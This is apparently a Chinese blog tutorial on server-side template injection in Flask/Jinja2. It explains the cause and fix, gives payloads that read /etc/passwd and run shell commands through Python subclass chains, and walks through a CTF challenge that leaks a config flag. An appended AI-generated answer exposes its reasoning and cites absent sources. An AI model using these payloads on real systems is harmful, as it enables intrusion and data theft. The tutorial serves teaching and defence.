python模板注入

本文详细探讨了SSTI(Server-Side Template Injection)漏洞,解释了其产生原因,特别是在Flask框架中使用Jinja2模板引擎时的安全隐患。文章介绍了如何通过修改模板字符串防止恶意注入,并展示了如何利用类对象的属性和方法进行文件读取和命令执行。同时,还分析了一段存在漏洞的代码,说明了如何通过继承关系泄露敏感信息,以及如何巧妙地绕过过滤机制访问config以获取FLAG。

ssti漏洞

其漏洞的产生在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换。

  • 漏洞的解决方式:
    将template中的<h3>%s!</h3>%url更改为<h3>{{url}}</h3> 这样以来,Jinja2在模板渲染的时候将url的值替换掉{{url}}, 而不会对url内容进行二次渲染(这样即使url中含有{{}}也不会进行渲染,而只是把它当做普通字符串)

任意文件读取

类对象

‘’.__class__可以获取当前实例的类对象

类对象中的属性__mro__

''.__class__.__mro__获取当前类的继承类

类对象的方法__subclasses__()

''.__class__.__mro__[-1].__subclasses__()返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)__mro__后面可以为-1或者2
我们可以找到具有文件读取功能的类,例如file对象

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__() :
	try :
		if "file" in str(item) :
			print(num)
		num+=1
	except :
		num+=1
		continue

通过上面的python代码可以快速找到file对象的位置
假设file对象在40位:

payload:{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}

命令执行

我们还可以在object的所有子类中找可以引入了os模块的类,并以此来执行命令

#!usr/bin/env python
# encoding: utf-8  
num=0
for item in ''.__class__.__mro__[-1].__subclass__() :
	try :
		if 'os' in item.__init__.__globals__ :
			print(num)
		num+=1
	except :
		num+=1
		continue

通过上面的python代码可以找到包含os模块的类,构造命令执行语句

payload:{{''.__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__['os'].system('ls')}} 

就可以找到当前目录了

利用继承泄露信息

例如漏洞代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  • 如果没有过滤config,则可以通过config来泄露flag,因为config作为flask的一个全局变量储存着flask应用的信息
  • 如果能用self的话,可以通过self.__dict__来泄露flag
  • 如果没有过滤()的话,可以通过上面所说的__subclasses__()来泄露得到flag

因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app
可以通过如下两种方法使用config找到flag

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

可以通过x.__globals__这样的格式,用py得到可以用的变量
可以知道url_for和get_flashed_messages的__globals__中均含有current_app

url_for.__globals__['current_app'].config  
get_flashed_messages.__globals__['current_app'].config

都可以获得flag.

<think> 首先,我收到了用户的查询,他们想了解关于Python模板注入的信息,包括原理、防范方法、示例等。用户提到了参考站内引用,这些引用提供了关于Python模板注入(SSTI)的基本概念、风险以及最新变化。 我回顾了用户提供的引用内容:引用[1]解释了SSTI漏洞是如何允许攻击者执行任意Python代码的,比如通过插入特定模板语法如`{{...}}`或`{%...%}`来触发漏洞,可能导致敏感文件读取或系统命令执行;引用[2]比较了SSTI与其他常见注入类型如SQL注入的相似性,强调它是针对Python框架的;引用[3]则指出在最新Flask版本中,由于URL编码的引入,传统方法已失效,建议改用`request.args`传参。 接下来,我需要基于这些信息构建一个全面的回答。用户明确要求包括原理、防范方法和示例,所以我决定组织内容结构如下:先概述SSTI是什么,然后详细说明其原理,接着给出实际攻击示例以帮助理解,最后提供有效的防范措施。这样能确保回答清晰、逻辑性强。 在原理部分,我会解释SSTI的核心机制——用户输入被误当作模板代码执行。结合引用[1]和[2],我会强调模板引擎的渲染过程是漏洞根源,攻击者利用特殊语法注入恶意代码。例如,在Jinja2中,`{{7*7}}`如果输出49,就表明存在漏洞。 对于示例,我准备用Python代码展示实际场景。引用[3]提到Flask的更新,所以我将设计一个简单的Flask应用示例,使用`request.args`传参来演示漏洞触发,比如输入`http://example.com/?name={{7*7}}`导致计算执行。这能直观地说明风险。 防范方法是回答的关键部分。我将总结最佳实践:输入验证、输出编码、限制模板功能等。引用[3]的更新提醒我,要提到使用最新框架版本的重要性,因为Flask已自动处理URL编码。 最后,为了遵守系统指令,我需要生成相关问题。基于主题,我考虑设计三个问题:一个关于不同模板引擎的差异,一个关于具体防范技术,一个关于真实案例。这些问题能引导用户深入学习,符合指令要求。 在格式上,我会确保所有数学表达式使用`$...$`格式,比如在原理中提到的表达式。回答结构要分段清晰,使用中文,并在末尾添加引用标识`[^1]`等。 现在,我开始撰写回答:先简述SSTI定义和风险,再分节详细说明原理、示例和防范,最后附上相关问题。整个过程要确保信息准确、可靠,帮助用户逐步解决问题。 </think>基于您的需求,以下是关于 **Python模板注入(SSTI)** 的详细说明,涵盖原理、示例、防范方法及最新动态: --- ### **1. 模板注入(SSTI)原理** - **核心机制**:当用户输入被直接拼接到模板中渲染时,攻击者可通过插入模板语法(如 `{{...}}`、`{%...%}`)注入恶意代码。模板引擎误将输入解析为可执行指令,而非普通文本[^1][^2]。 - **风险**:成功利用可导致: - 读取敏感文件(`/etc/passwd`) - 执行系统命令(`os.popen('id').read()`) - 数据库访问或远程代码执行(RCE) - **数学表达示例**:若模板引擎解析 `$x = \text{用户输入}$` 时未过滤,攻击者可构造 `$x = {{7*7}}$` 触发计算(输出 `49` 即存在漏洞)[^1]。 --- ### **2. 攻击示例(Flask/Jinja2)** ```python from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f"<h1>Hello, {name}!</h1>" # 危险:直接拼接用户输入 return render_template_string(template) if __name__ == '__main__': app.run() ``` - **漏洞触发**: - 访问 URL:`http://localhost:5000/?name={{7*7}}` → 页面输出 `Hello, 49!`(证明可执行运算)。 - 进阶攻击:`?name={{%20__import__("os").popen("cat /etc/passwd").read()%20}}` → 泄露系统文件[^3]。 > **注意**:新版 Flask 对 `request.url` 自动编码,但通过 `request.args` 传参仍可触发漏洞[^3]。 --- ### **3. 防范措施** - **输入过滤与转义**: - 禁止用户输入包含 `{ { } }`、`{% %}` 等模板语法。 - 使用 `| escape` 过滤器自动转义(如 Jinja2 的 `{{ name|escape }}`)。 - **限制模板功能**: - 禁用危险函数(如 `os`、`subprocess`): ```python from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() # 沙盒环境限制代码执行 ``` - **避免动态模板拼接**: - 改用静态模板文件,通过安全传参渲染: ```python return render_template("safe_template.html", name=filtered_name) ``` - **更新框架与库**:及时应用安全补丁(如 Flask 的 URL 编码改进)[^3]。 --- ### **4. 常见易受攻击框架** | 模板引擎 | 语法示例 | 风险场景 | |------------|-------------------|------------------------| | Jinja2 | `{{...}}` `{%...%}` | Flask, Django 插件 | | Mako | `<% ... %>` | Pyramid, Pylons | | Tornado | `{{...}}` | Tornado Web 框架 | ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值